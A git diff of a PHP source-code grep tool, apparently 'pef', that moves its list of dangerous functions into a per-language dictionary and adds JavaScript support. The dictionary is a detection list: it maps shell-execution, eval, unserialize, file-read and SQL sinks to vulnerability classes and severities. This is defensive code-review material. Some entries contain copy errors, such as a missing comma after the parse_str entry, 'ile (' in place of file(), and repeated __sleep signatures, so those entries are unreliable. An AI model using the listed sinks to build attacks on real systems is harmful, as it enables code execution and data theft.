- "PDO::query() executes an SQL statement in a single function call, returning the result set (if any) returned by the statement as a PDOStatement object.", - "public PDO::query ( string $statement , int $PDO::FETCH_CLASS , string $classname , array $ctorargs ) : PDOStatement", - "SQL Injection", - "medium", - "sink" - ], - "move_uploaded_file()": [ - "This function checks to ensure that the file designated by filename is a valid upload file (meaning that it was uploaded via PHP's HTTP POST upload mechanism). If the file is valid, it will be moved to the filename given by destination.", - "move_uploaded_file ( string $filename , string $destination ) : bool", - "File Include", - "low", - "sink" - ], - "print()": [ - "Outputs arg. print is not actually a real function (it is a language construct) so you are not required to use parentheses with its argument list.", - "print ( string $arg ) : int", - "XSS, Content/HTML Injection", - "low", - "sink" - ], - "printf()": [ - "Produces output according to format.", - "printf ( string $format [, mixed $... ] ) : int", - "XSS, Content/HTML Injection", - "low", - "sink" - ], - "ldap_search()": [ - "Performs the search for a specified filter on the directory with the scope of LDAP_SCOPE_SUBTREE. This is equivalent to searching the entire directory.", - "ldap_search ( resource $link_identifier , string $base_dn , string $filter [, array $attributes = array() [, int $attrsonly = 0 [, int $sizelimit = -1 [, int $timelimit = -1 [, int $deref = LDAP_DEREF_NEVER [, array $serverctrls = array() ]]]]]] ) : resource", - "unknown?", - "low" - ], - "header()": [ - "Send a raw HTTP header", - "header ( string $header [, bool $replace = TRUE [, int $http_response_code ]] ) : void", - "Header Injection, Open Redirect", - "low", - "sink" - ], - "sqlite_query()": [ - "SQLiteDatabase::query - Executes a query against a given database and returns a result handle", - "sqlite_query ( string $query , resource $dbhandle [, int $result_type = SQLITE_BOTH [, string &$error_msg ]] ) : resource", - "SQL Injection", - "medium", - "sink" - ], - "pg_query()": [ - "pg_query() executes the query on the specified database connection. pg_query_params() should be preferred in most cases.", - "pg_query ([ resource $connection ], string $query ) : resource", - "SQL Injection", - "medium", - "sink" - ], - "mysql_query()": [ - "mysql_query() sends a unique query (multiple queries are not supported) to the currently active database on the server that's associated with the specified link_identifier.(deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0)", - "mysql_query ( string $query [, resource $link_identifier = NULL ] ) : mixed", - "SQL Injection", - "high", - "sink" - ], - "mysqli_query()": [ - "Performs a query against the database.", - "mysqli_query ( mysqli $link , string $query [, int $resultmode = MYSQLI_STORE_RESULT ] ) : mixed", - "SQL Injection", - "medium", - "sink" - ], - "mysqli::query()": [ - "Performs a query against the database.", - "mysqli::query ( string $query [, int $resultmode = MYSQLI_STORE_RESULT ] ) : mixed", - "SQL Injection", - "medium", - "sink" - ], - "apache_setenv()": [ - "Sets the value of the Apache environment variable specified by variable.", - "apache_setenv ( string $variable , string $value [, bool $walk_to_top = FALSE ] ) : bool", - "ENV server variables overwrite", - "low", - "sink" - ], - "dl()": [ - "Loads a PHP extension at runtime", - "dl ( string $library ) : bool", - "Code Injection, RCE (in certain conditions)", - "low", - "sink" - ], - "escapeshellarg()": [ - "Escape a string to be used as a shell argument", - "escapeshellarg ( string $arg ) : string", - "", - "low" - ], - "escapeshellcmd()": [ - "Escapes any characters in a string that might be used to trick a shell command into executing arbitrary commands", - "escapeshellcmd ( string $command ) : string", - "", - "low" - ], - "get_cfg_var()": [ - "Gets the value of a PHP configuration option", - "get_cfg_var ( string $option ) : mixed", - "Information Disclosure", - "low" - ], - "get_current_user()": [ - "Gets the name of the owner of the current PHP script", - "get_current_user ( void ) : string", - "Information Disclosure", - "low" - ], - "getcwd()": [ - "Gets the current working directory", - "getcwd ( void ) : string", - "Information Disclosure", - "low" - ], - "getenv()": [ - " Gets the value of an environment variable", - "getenv ( string $varname [, bool $local_only = FALSE ] ) : string", - "Information Disclosure", - "low" - ], - "php_uname()": [ - "Returns information about the operating system PHP is running on", - "php_uname ([ string $mode = \"a\" ] ) : string", - "Information Disclosure", - "low" - ], - "phpinfo()": [ - "Outputs information about PHP's configuration", - "phpinfo ([ int $what = INFO_ALL ] ) : bool", - "Information Disclosure", - "medium" - ], - "putenv()": [ - "Adds setting to the server environment. The environment variable will only exist for the duration of the current request. At the end of the request the environment is restored to its original state.", - "putenv ( string $setting ) : bool", - "ENV variable create/owerwrite", - "low", - "sink" - ], - "symlink()": [ - "Creates a symbolic link to the existing target with the specified name link.", - "symlink ( string $target , string $link ) : bool", - "LFI (in certain conditions)", - "low" - ], - "syslog()": [ - "Generate a system log message", - "syslog ( int $priority , string $message ) : bool", - "Log poisoning", - "low" - ], - "curl_exec()": [ - "Execute the given cURL session. This function should be called after initializing a cURL session and all the options for the session are set.", - "curl_exec ( resource $ch ) : mixed", - "SSRF", - "medium", - "sink" - ], - "__destruct()": [ - "unserialize() checks if your class has a function with the magic name __destruct(). If so, that function is executed after unserialization", - "__destruct ( void ) : void", - "Object Injection; RCE via unserialize() + POP gadget chain", - "high", - "sink" - ], - "__wakeup()": [ - "serialize() checks if your class has a function with the magic name __wakeup(). If so, that function is executed prior to any serialization", - "__wakeup ( void ) : void", - "Object Injection; RCE via unserialize() + POP gadget chain", - "medium", - "sink" - ], - "__sleep()": [ - "serialize() checks if your class has a function with the magic name __sleep(). If so, that function is executed prior to any serialization", - "public __sleep ( void ) : array", - "Object Injection; RCE via unserialize() + POP gadget chain", - "medium", - "sink" - ], - "__serialize()": [ - "checks if the class has a function with the magic name __serialize(). If so, that function is executed prior to any serialization. It must construct and return an associative array of key/value pairs that represent the serialized form of the object. If no array is returned a TypeError will be thrown.", - "public __sleep ( void ) : array", - "Object Injection; RCE via unserialize() + POP gadget chain", - "medium", - "sink" - ], - "__unserialize()": [ - "checks for the presence of a function with the magic name __unserialize(). If present, this function will be passed the restored array that was returned from __serialize(). It may then restore the properties of the object from that array as appropriate.", - "public __sleep ( void ) : array", - "Object Injection; RCE via unserialize() + POP gadget chain", - "medium", - "sink" - ], - "__call()": [ - "Triggered when invoking inaccessible methods in an object context", - "public __call ( string $name , array $arguments ) : mixed", - "Object Injection; RCE via unserialize() + POP gadget chain", - "medium", - "sink" - ], - "__get()": [ - "Is utilized for reading data from inaccessible (protected or private) or non-existing properties.", - "public __get ( string $name ) : mixed", - "Object Injection; RCE via unserialize() + POP gadget chain", - "medium", - "sink" - ], - "__set()": [ - "Is run when writing data to inaccessible (protected or private) or non-existing properties.", - "public __set ( string $name, mixed $value ) : void", - "Object Injection; RCE via unserialize() + POP gadget chain", - "medium", - "sink" - ], - "__callStatic()": [ - "Triggered when invoking inaccessible methods in a static context.", - "public static __callStatic ( string $name , array $arguments ) : mixed", - "Object Injection; RCE via unserialize() + POP gadget chain", - "medium", - "sink" - ], - "filter_var()": [ - "Filters a variable with a specified filter", - "filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] ) : mixed", - "Validation bypass (in certain conditions)", - "low" - ], - "file_put_contents()": [ - "Write data to a file", - "file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int", - "Arbitrary file write", - "high", - "source" - ], - "extractTo(": [ - "Extract the complete archive or the given files to the specified destination. The default permissions for extracted files and directories give the widest possible access.", - "public ZipArchive::extractTo(string $pathto, array|string|null $files = null): bool", - "Arbitrary file write", - "medium", - "source" - ], - "SELECT.*FROM": [ - "SQL syntax found.", - "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", - "SQL Injection", - "medium", - "source" - ], - "INSERT.*INTO": [ - "SQL syntax found.", - "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", - "SQL Injection", - "medium", - "source" - ], - "UPDATE.*": [ - "SQL syntax found.", - "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", - "SQL Injection", - "medium", - "source" - ], - "DELETE.*FROM": [ - "SQL syntax found.", - "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", - "SQL Injection", - "medium", - "source" - ], - "$_POST": [ - "$_POST reference found", - "", - "", - "critical", - "source" - ], - "$_GET": [ - "$_GET reference found", - "", - "", - "critical", - "source" - ], - "$_REQUEST": [ - "$_REQUEST reference found", - "", - "", - "critical", - "source" - ], - "$_FILES": [ - "$_FILES reference found", - "", - "", - "high", - "source" - ], - "$_ENV": [ - "$_ENV reference found", - "", - "", - "medium", - "source" - ], - "$_COOKIES": [ - "$_COOKIES reference found", - "", - "", - "high", - "source" - ], - "$_SESSION": [ - "$_SESSION reference found", - "", - "", - "medium", - "source" - ], - "$_SERVER": [ - "$_SERVER reference found", - "", - "", - "medium", - "source" - ] + "javascript": { + "eval()": [ + "The eval() function evaluates JavaScript code represented as a string and returns its completion value. The source is parsed as a script.", + "eval(script)", + "RCE", + "critical", + "sink" + ] + }, + "php": { + "`": [ + "Allows to execute system command", + "`$command`", + "RCE", + "critical", + "sink" + ], + "system()": [ + "Allows to execute system command passed as an argument", + "system ( string $command [, int &$return_var ] ) : string", + "RCE", + "critical", + "sink" + ], + "exec()": [ + "exec - Execute an external program", + "exec ( string $command [, array &$output [, int &$return_var ]] ) : string", + "RCE", + "critical", + "sink" + ], + "call_user_func_array()": [ + "Call a callback with an array of parameters", + "call_user_func_array ( callable $callback , array $param_arr ) : mixed", + "RCE", + "high", + "sink" + ], + "parse_url()": [ + "parse_url — Parse a URL and return its components", + "parse_url(string $url, int $component = -1): mixed", + "SSRF, Filter Bypass", + "medium", + "sink" + ], + "parse_str()": [ + "when parse_str(arg, [target]) parses URL-like string, it sets variables in current scope WITHOUT initializing it", + "parse_str ( string $encoded_string [, array &$result ] ) : void" + "Code Injection", + "high", + "sink" + ], + "eval()": [ + "Evaluate a string as PHP code", + "eval ( string $code ) : mixed", + "RCE", + "critical", + "sink" + ], + "preg_replace()": [ + "Perform a regular expression search and replace. Searches subject for matches to pattern and replaces them with replacement", + "preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed", + "RCE (in certain conditions)", + "medium" + ], + "create_function()": [ + "DEPRECATED as of PHP 7.2.0 - Create an anonymous (lambda-style) function. Creates an anonymous function from the parameters passed, and returns a unique name for it.", + "create_function ( string $args , string $code ) : string", + "Code Injection, RCE", + "medium", + "sink" + ], + "passthru()": [ + "Execute an external program and display raw output", + "passthru ( string $command [, int &$return_var ] ) : void", + "RCE", + "critical", + "sink" + ], + "shell_exec()": [ + "Execute command via shell and return the complete output as a string. This function is identical to the backtick operator.", + "shell_exec ( string $cmd ) : string", + "RCE", + "critical", + "sink" + ], + "popen()": [ + "Opens process file pointer. Opens a pipe to a process executed by forking the command given by command.", + "popen ( string $command , string $mode ) : resource", + "Code Injection", + "critical", + "sink" + ], + "proc_open()": [ + "Execute a command and open file pointers for input/output. proc_open() is similar to popen() but provides a much greater degree of control over the program execution.", + "proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd = NULL [, array $env = NULL [, array $other_options = NULL ]]] ) : resource", + "Code Injection", + "high", + "sink" + ], + "pcntl_exec()": [ + "Executes the program with the given arguments.", + "pcntl_exec ( string $path [, array $args [, array $envs ]] ) : void", + "RCE", + "critical", + "sink" + ], + "extract()": [ + "Import variables into the current symbol table from an array", + "extract ( array &$array [, int $flags = EXTR_OVERWRITE [, string $prefix = NULL ]] ) : int", + "Code Injection", + "high", + "sink" + ], + "ini_set()": [ + "Sets the value of the given configuration option. The configuration option will keep this new value during the script's execution, and will be restored at the script's ending.", + "ini_set ( string $varname , string $newvalue ) : string", + "PHP Interpreter behavior change; application settings overwrite", + "low" + ], + "mail()": [ + "Sends an email.", + "mail ( string $to , string $subject , string $message [, mixed $additional_headers [, string $additional_parameters ]] ) : bool", + "Arbitrary mail sending", + "low", + "sink" + ], + "echo": [ + "Outputs all parameters. No additional newline is appended.", + "echo ( string $arg1 [, string $... ] ) : void", + "XSS, HTML Injection, Content Injection etc.", + "low" + ], + "unserialize()": [ + "unserialize() takes a single serialized variable and converts it back into a PHP value.", + "unserialize ( string $str [, array $options ] ) : mixed", + "Code Injection, RCE (in certain conditions)", + "high", + "sink" + ], + "assert()": [ + "assert() will check the given assertion and take appropriate action if its result is FALSE. If the assertion is given as a string it will be evaluated as PHP code by assert() - ONLY PNP <7.2.0", + "assert ( mixed $assertion [, string $description ] ) : bool (PHP 5,7) assert ( mixed $assertion [, Throwable $exception ] ) : bool (PHP 7)", + "RCE, Code Injection (in certain conditions)", + "low" + ], + "call_user_func()": [ + "Calls the callback given by the first parameter and passes the remaining parameters as arguments.", + "call_user_func ( callable $callback [, mixed $... ] ) : mixed", + "Code Injection", + "high", + "sink" + ], + "ereg_replace()": [ + "This function scans string for matches to pattern, then replaces the matched text with replacement (DEPRECATED in PHP 5.3.0, and REMOVED in PHP 7.0.0.)", + "ereg_replace ( string $pattern , string $replacement , string $string ) : string", + "Code Injection", + "low", + "sink" + ], + "eregi_replace()": [ + "This function is identical to ereg_replace() except that this ignores case distinction when matching alphabetic characters. (DEPRECATED in PHP 5.3.0, and REMOVED in PHP 7.0.0)", + "eregi_replace ( string $pattern , string $replacement , string $string ) : string", + "Code Injection", + "low", + "sink" + ], + "mb_ereg_replace()": [ + "Scans string for matches to pattern, then replaces the matched text with replacement. Never use the e modifier when working on untrusted input. No automatic escaping will happen (as known from preg_replace()).", + "mb_ereg_replace ( string $pattern , string $replacement , string $string [, string $option = \"msr\" ] ) : string", + "Code Injection", + "low", + "sink" + ], + "mb_eregi_replace()": [ + "Scans string for matches to pattern, then replaces the matched text with replacement. Never use the e modifier when working on untrusted input. No automatic escaping will happen (as known from preg_replace()).", + "mb_eregi_replace ( string $pattern , string $replace , string $string [, string $option = \"msri\" ] ) : string", + "Code Injection", + "low", + "sink" + ], + "virtual()": [ + "Perform an Apache sub-request (calls url passed as an argument). This function is supported when PHP is installed as an Apache module or by the NSAPI server module", + "virtual ( string $filename ) : bool", + "Local File Include, Remote File Include", + "low", + "sink" + ], + "readfile()": [ + "Reads a file and writes it to the output buffer.", + "readfile ( string $filename [, bool $use_include_path = FALSE [, resource $context ]] ) : int", + "Code Injection, LFI, RFI", + "high", + "source" + ], + "file_get_contents()": [ + "This function is similar to file(), except that file_get_contents() returns the file in a string, starting at the specified offset up to maxlen bytes. On failure, file_get_contents() will return FALSE.", + "file_get_contents ( string $filename [, bool $use_include_path = FALSE [, resource $context [, int $offset = 0 [, int $maxlen ]]]] ) : string", + "Code Injection, LFI, RFI", + "high", + "source" + ], + "show_source()": [ + "(Alias for highlight_file()) Prints out or returns a syntax highlighted version of the code contained in filename using the colors defined in the built-in syntax highlighter for PHP.", + "show_source ( string $filename [, bool $return = FALSE ] ) : mixed", + "Information Disclosure", + "low", + "source" + ], + "highlight_file()": [ + "Prints out or returns a syntax highlighted version of the code contained in filename using the colors defined in the built-in syntax highlighter for PHP.", + "highlight_file ( string $filename [, bool $return = FALSE ] ) : mixed", + "Information Disclosure", + "low", + "source" + ], + "fopen()": [ + "fopen() binds a named resource, specified by filename, to a stream.", + "fopen ( string $filename , string $mode [, bool $use_include_path = FALSE [, resource $context ]] ) : resource", + "Code Injection, LFI, RFI", + "low", + "source" + ], + "file()": [ + "Reads an entire file into an array.", + "ile ( string $filename [, int $flags = 0 [, resource $context ]] ) : array", + "Code Injection, LFI, RFI", + "low", + "source" + ], + "fpassthru()": [ + "Reads to EOF on the given file pointer from the current position and writes the results to the output buffer.", + "fpassthru ( resource $handle ) : int", + "Code Injection, LFI, RFI, RCE (depending on the context)", + "low", + "sink" + ], + "fsockopen()": [ + "Initiates a socket connection to the resource specified by hostname.", + "fsockopen ( string $hostname [, int $port = -1 [, int &$errno [, string &$errstr [, float $timeout = ini_get(\"default_socket_timeout\") ]]]] ) : resource", + "RCE (depends on context)", + "low", + "sink" + ], + "gzopen()": [ + "Opens a gzip (.gz) file for reading or writing.", + "gzopen ( string $filename , string $mode [, int $use_include_path = 0 ] ) : resource", + "Code Injection, LFI (depends on context)", + "low", + "sink" + ], + "gzread()": [ + "gzread() reads up to length bytes from the given gz-file pointer. Reading stops when length (uncompressed) bytes have been read or EOF is reached, whichever comes first.", + "gzread ( resource $zp , int $length ) : string", + "Code Injection, LFI", + "low", + "sink" + ], + "gzfile()": [ + "Read entire gz-file into an array. This function is identical to readgzfile(), except that it returns the file in an array.", + "gzfile ( string $filename [, int $use_include_path = 0 ] ) : array", + "Code Injection, LFI", + "low", + "sink" + ], + "gzpassthru()": [ + "Output all remaining data on a gz-file pointer. Reads to EOF on the given gz-file pointer from the current position and writes the (uncompressed) results to standard output.", + "gzpassthru ( resource $zp ) : int", + "Code Injection, LFI", + "low", + "sink" + ], + "readgzfile()": [ + "Output a gz-file. Reads a file, decompresses it and writes it to standard output.", + "readgzfile ( string $filename [, int $use_include_path = 0 ] ) : int", + "Code Injection, LFI, RCE", + "medium", + "sink" + ], + "mssql_query()": [ + "Send MS SQL query to the currently active database on the server that's associated with the specified link identifier. This function was REMOVED in PHP 7.0.0.", + "mssql_query ( string $query [, resource $link_identifier [, int $batch_size = 0 ]] ) : mixed", + "SQL Injection", + "high" + ], + "odbc_exec()": [ + "Sends an SQL statement to the database server.", + "odbc_exec ( resource $connection_id , string $query_string [, int $flags ] ) : resource", + "SQL Injection", + "high", + "sink" + ], + "sqlsrv_query()": [ + "Prepares and executes a query", + "sqlsrv_query ( resource $conn , string $sql [, array $params [, array $options ]] ) : mixed", + "SQL Injection", + "medium", + "sink" + ], + "PDO::query()": [ + "PDO::query() executes an SQL statement in a single function call, returning the result set (if any) returned by the statement as a PDOStatement object.", + "public PDO::query ( string $statement , int $PDO::FETCH_CLASS , string $classname , array $ctorargs ) : PDOStatement", + "SQL Injection", + "medium", + "sink" + ], + "move_uploaded_file()": [ + "This function checks to ensure that the file designated by filename is a valid upload file (meaning that it was uploaded via PHP's HTTP POST upload mechanism). If the file is valid, it will be moved to the filename given by destination.", + "move_uploaded_file ( string $filename , string $destination ) : bool", + "File Include", + "low", + "sink" + ], + "print()": [ + "Outputs arg. print is not actually a real function (it is a language construct) so you are not required to use parentheses with its argument list.", + "print ( string $arg ) : int", + "XSS, Content/HTML Injection", + "low", + "sink" + ], + "printf()": [ + "Produces output according to format.", + "printf ( string $format [, mixed $... ] ) : int", + "XSS, Content/HTML Injection", + "low", + "sink" + ], + "ldap_search()": [ + "Performs the search for a specified filter on the directory with the scope of LDAP_SCOPE_SUBTREE. This is equivalent to searching the entire directory.", + "ldap_search ( resource $link_identifier , string $base_dn , string $filter [, array $attributes = array() [, int $attrsonly = 0 [, int $sizelimit = -1 [, int $timelimit = -1 [, int $deref = LDAP_DEREF_NEVER [, array $serverctrls = array() ]]]]]] ) : resource", + "unknown?", + "low" + ], + "header()": [ + "Send a raw HTTP header", + "header ( string $header [, bool $replace = TRUE [, int $http_response_code ]] ) : void", + "Header Injection, Open Redirect", + "low", + "sink" + ], + "sqlite_query()": [ + "SQLiteDatabase::query - Executes a query against a given database and returns a result handle", + "sqlite_query ( string $query , resource $dbhandle [, int $result_type = SQLITE_BOTH [, string &$error_msg ]] ) : resource", + "SQL Injection", + "medium", + "sink" + ], + "pg_query()": [ + "pg_query() executes the query on the specified database connection. pg_query_params() should be preferred in most cases.", + "pg_query ([ resource $connection ], string $query ) : resource", + "SQL Injection", + "medium", + "sink" + ], + "mysql_query()": [ + "mysql_query() sends a unique query (multiple queries are not supported) to the currently active database on the server that's associated with the specified link_identifier.(deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0)", + "mysql_query ( string $query [, resource $link_identifier = NULL ] ) : mixed", + "SQL Injection", + "high", + "sink" + ], + "mysqli_query()": [ + "Performs a query against the database.", + "mysqli_query ( mysqli $link , string $query [, int $resultmode = MYSQLI_STORE_RESULT ] ) : mixed", + "SQL Injection", + "medium", + "sink" + ], + "mysqli::query()": [ + "Performs a query against the database.", + "mysqli::query ( string $query [, int $resultmode = MYSQLI_STORE_RESULT ] ) : mixed", + "SQL Injection", + "medium", + "sink" + ], + "apache_setenv()": [ + "Sets the value of the Apache environment variable specified by variable.", + "apache_setenv ( string $variable , string $value [, bool $walk_to_top = FALSE ] ) : bool", + "ENV server variables overwrite", + "low", + "sink" + ], + "dl()": [ + "Loads a PHP extension at runtime", + "dl ( string $library ) : bool", + "Code Injection, RCE (in certain conditions)", + "low", + "sink" + ], + "escapeshellarg()": [ + "Escape a string to be used as a shell argument", + "escapeshellarg ( string $arg ) : string", + "", + "low" + ], + "escapeshellcmd()": [ + "Escapes any characters in a string that might be used to trick a shell command into executing arbitrary commands", + "escapeshellcmd ( string $command ) : string", + "", + "low" + ], + "get_cfg_var()": [ + "Gets the value of a PHP configuration option", + "get_cfg_var ( string $option ) : mixed", + "Information Disclosure", + "low" + ], + "get_current_user()": [ + "Gets the name of the owner of the current PHP script", + "get_current_user ( void ) : string", + "Information Disclosure", + "low" + ], + "getcwd()": [ + "Gets the current working directory", + "getcwd ( void ) : string", + "Information Disclosure", + "low" + ], + "getenv()": [ + " Gets the value of an environment variable", + "getenv ( string $varname [, bool $local_only = FALSE ] ) : string", + "Information Disclosure", + "low" + ], + "php_uname()": [ + "Returns information about the operating system PHP is running on", + "php_uname ([ string $mode = \"a\" ] ) : string", + "Information Disclosure", + "low" + ], + "phpinfo()": [ + "Outputs information about PHP's configuration", + "phpinfo ([ int $what = INFO_ALL ] ) : bool", + "Information Disclosure", + "medium" + ], + "putenv()": [ + "Adds setting to the server environment. The environment variable will only exist for the duration of the current request. At the end of the request the environment is restored to its original state.", + "putenv ( string $setting ) : bool", + "ENV variable create/owerwrite", + "low", + "sink" + ], + "symlink()": [ + "Creates a symbolic link to the existing target with the specified name link.", + "symlink ( string $target , string $link ) : bool", + "LFI (in certain conditions)", + "low" + ], + "syslog()": [ + "Generate a system log message", + "syslog ( int $priority , string $message ) : bool", + "Log poisoning", + "low" + ], + "curl_exec()": [ + "Execute the given cURL session. This function should be called after initializing a cURL session and all the options for the session are set.", + "curl_exec ( resource $ch ) : mixed", + "SSRF", + "medium", + "sink" + ], + "__destruct()": [ + "unserialize() checks if your class has a function with the magic name __destruct(). If so, that function is executed after unserialization", + "__destruct ( void ) : void", + "Object Injection; RCE via unserialize() + POP gadget chain", + "high", + "sink" + ], + "__wakeup()": [ + "serialize() checks if your class has a function with the magic name __wakeup(). If so, that function is executed prior to any serialization", + "__wakeup ( void ) : void", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "__sleep()": [ + "serialize() checks if your class has a function with the magic name __sleep(). If so, that function is executed prior to any serialization", + "public __sleep ( void ) : array", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "__serialize()": [ + "checks if the class has a function with the magic name __serialize(). If so, that function is executed prior to any serialization. It must construct and return an associative array of key/value pairs that represent the serialized form of the object. If no array is returned a TypeError will be thrown.", + "public __sleep ( void ) : array", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "__unserialize()": [ + "checks for the presence of a function with the magic name __unserialize(). If present, this function will be passed the restored array that was returned from __serialize(). It may then restore the properties of the object from that array as appropriate.", + "public __sleep ( void ) : array", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "__call()": [ + "Triggered when invoking inaccessible methods in an object context", + "public __call ( string $name , array $arguments ) : mixed", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "__get()": [ + "Is utilized for reading data from inaccessible (protected or private) or non-existing properties.", + "public __get ( string $name ) : mixed", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "__set()": [ + "Is run when writing data to inaccessible (protected or private) or non-existing properties.", + "public __set ( string $name, mixed $value ) : void", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "__callStatic()": [ + "Triggered when invoking inaccessible methods in a static context.", + "public static __callStatic ( string $name , array $arguments ) : mixed", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "filter_var()": [ + "Filters a variable with a specified filter", + "filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] ) : mixed", + "Validation bypass (in certain conditions)", + "low" + ], + "file_put_contents()": [ + "Write data to a file", + "file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int", + "Arbitrary file write", + "high", + "source" + ], + "extractTo(": [ + "Extract the complete archive or the given files to the specified destination. The default permissions for extracted files and directories give the widest possible access.", + "public ZipArchive::extractTo(string $pathto, array|string|null $files = null): bool", + "Arbitrary file write", + "medium", + "source" + ], + "SELECT.*FROM": [ + "SQL syntax found.", + "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", + "SQL Injection", + "medium", + "source" + ], + "INSERT.*INTO": [ + "SQL syntax found.", + "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", + "SQL Injection", + "medium", + "source" + ], + "UPDATE.*": [ + "SQL syntax found.", + "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", + "SQL Injection", + "medium", + "source" + ], + "DELETE.*FROM": [ + "SQL syntax found.", + "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", + "SQL Injection", + "medium", + "source" + ], + "$_POST": [ + "$_POST reference found", + "", + "", + "critical", + "source" + ], + "$_GET": [ + "$_GET reference found", + "", + "", + "critical", + "source" + ], + "$_REQUEST": [ + "$_REQUEST reference found", + "", + "", + "critical", + "source" + ], + "$_FILES": [ + "$_FILES reference found", + "", + "", + "high", + "source" + ], + "$_ENV": [ + "$_ENV reference found", + "", + "", + "medium", + "source" + ], + "$_COOKIES": [ + "$_COOKIES reference found", + "", + "", + "high", + "source" + ], + "$_SESSION": [ + "$_SESSION reference found", + "", + "", + "medium", + "source" + ], + "$_SERVER": [ + "$_SERVER reference found", + "", + "", + "medium", + "source" + ] + } } diff --git a/pef/pef.py b/pef/pef.py index 4e1329f..80cb34a 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -37,143 +37,26 @@ import re import sys -from imports import pefdocs +from imports.pefdocs import exploitableFunctions, exploitableFunctionsDesc from imports.beautyConsole import beautyConsole -# exploitable functions -exploitableFunctions = [ - "`", - "system(", - "exec(", - "popen(", - "pcntl_exec(", - "eval(", - "arse_str(", - "parse_url(", - "preg_replace(", - "create_function(", - "passthru(", - "shell_exec(", - "popen(", - "proc_open(", - "pcntl_exec(", - "extract(", - "putenv(", - "ini_set(", - "mail(", - "unserialize(", - "assert(", - "call_user_func(", - "call_user_func_array(", - "ereg_replace(", - "eregi_replace(", - "mb_ereg_replace(", - "mb_eregi_replace(", - "virtual", - "readfile(", - "file_get_contents(", - "show_source(", - "highlight_file(", - "fopen(", - "file(", - "fpassthru(", - "fsockopen(", - "gzopen(", - "gzread(", - "gzfile(", - "gzpassthru(", - "readgzfile(", - "mssql_query(", - "odbc_exec(", - "sqlsrv_query(", - "PDO::query(", - "move_uploaded_file(", - "echo", - "print(", - "printf(", - "ldap_search(", - "sqlite_", - "sqlite_query(", - "pg_", - "pg_query(", - "mysql_", - "mysql_query(", - "mysqli::query(", - "mysqli_", - "mysqli_query(", - "apache_setenv(", - "dl(", - "escapeshellarg(", - "escapeshellcmd(", - "extract(", - "get_cfg_var(", - "get_current_user(", - "getcwd(", - "getenv(", - "ini_restore(", - "ini_set(", - "passthru(", - "pcntl_exec(", - "php_uname(", - "phpinfo(", - "popen(", - "proc_open(", - "putenv(", - "symlink(", - "syslog(", - "curl_exec(", - "__wakeup(", - "__destruct(", - "__sleep(", - "filter_var(", - "file_put_contents(", - "extractTo(", - "$_POST", - "$_GET", - "$_COOKIES", - "$_REQUEST", - "$_SERVER", - "$_SESSION", - "include($_GET", - "require($_GET", - "include_once($_GET", - "require_once($_GET", - "include($_REQUEST", - "require($_REQUEST", - "include_once($_REQUEST", - "require_once($_REQUEST", - "SELECT.*FROM", - "INSERT.*INTO", - "UPDATE.*", - "DELETE.*FROM" -] - # allowed scan levels ALLOWED_LEVELS = ['ALL', 'LOW', 'MEDIUM', 'HIGH', 'CRITICAL'] DEFAULT_LEVELS = 'MEDIUM,HIGH,CRITICAL' - -def banner(): - """ - Prints welcome banner with contact info - """ - print(beautyConsole.getColor("green") + "\n\n", "-" * 100) - print("-" * 6, " PEF | PHP Source Code grep tool", - " " * 35, "-" * 16) - print("-" * 6, " https://github.com/bl4de ", - " " * 22, "-" * 16) - print("-" * 100, "\33[0m\n") - +ALLOWED_LANG = ['PHP', 'JavaScript'] +DEFAULT_LANG = 'PHP' class PefEngine: """ implements pef engine """ - def __init__(self, level, source_or_sink, filename, skip_vendor, phpfunction, verbose): + def __init__(self, lang, level, source_or_sink, filename, skip_vendor, phpfunction, verbose): """ constructor """ + self.lang = lang # selected language self.level = level # scan only for level set of functions self.source_or_sink = source_or_sink # show only sinks or sources self.filename = filename # name of file/folder to scan @@ -226,8 +109,8 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', sou meets_criteria = 0 # print legend only if there is entry in pefdocs.py - if fn and fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): - doc = pefdocs.exploitableFunctionsDesc.get(fn.strip()) + if fn and fn.strip() in exploitableFunctionsDesc[self.lang].keys(): + doc = exploitableFunctionsDesc[self.lang].get(fn.strip()) impact = doc[3] if (impact.upper() in level.upper()) or level == 'ALL': @@ -265,7 +148,7 @@ def main(self, src): line = l.rstrip() if self.level: if not self.is_comment(line): - for fn in exploitableFunctions: + for fn in exploitableFunctions[self.lang]: (meets_criteria, number_of_issues) = self.analyse_line(l, i, fn, f, line) if number_of_issues is not None: res = True @@ -315,40 +198,61 @@ def print_summary(self, total_found: int) -> None: print(f"{beautyConsole.getColor('grey')}Severity levels: {beautyConsole.getColor('grey')} LOW {beautyConsole.getColor('green')} MEDIUM {beautyConsole.getColor('yellow')} HIGH {beautyConsole.getColor('red')} CRITICAL{beautyConsole.getColor('grey')}\n") -# main program -if __name__ == "__main__": +def banner(): + """ + Prints welcome banner with contact info + """ + print(beautyConsole.getColor("green") + 